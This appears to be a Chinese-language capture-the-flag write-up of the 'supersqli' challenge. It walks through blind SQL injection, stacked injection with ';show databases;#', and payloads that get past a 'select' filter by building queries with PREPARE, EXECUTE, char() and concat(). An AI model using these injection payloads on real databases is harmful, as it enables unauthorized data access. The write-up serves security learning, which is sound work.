看到了sqlmap没有灵魂盲猜是sql注入
布尔盲注(不太会
length(database()) 判断数据库名长度
得到了长度为9
ascii(substr(database(),1,1)) = 115 --+
得到第一位 s
第二位 u
第三位 p
第四位 e
第五位 r
第六位 s
第七位 q
第八位 l
第九位 I
Supersqli
方法错误!!!
堆叠注入
Payload : ';show databases;#
显示所有数据库
不能使用select
word表
查看表的结构
数字用反引号选中 发现flag 可知flag在1919810931114514表中
方法2 学习大佬的思路
预处理语句+堆叠注入
1 2 3 | PREPARE name from '[my sql sequece]'; //预定义SQL语句 EXECUTE name; //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句 |
预定义语句也可以通过变量进行传递:
1 2 3 4 5 | SET @tn = 'hahaha'; //存储表名 SET @sql = concat('select * from ', @tn); //存储SQL语句 PREPARE name from @sql; //预定义SQL语句 EXECUTE name; //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句 |
本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)<----->'select'
payload1:不使用变量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), '* from`1919810931114514` ');EXECUTE hacker;#
payload2:使用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from`1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3:只是用contact(),不使用char()
1 | 1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;# |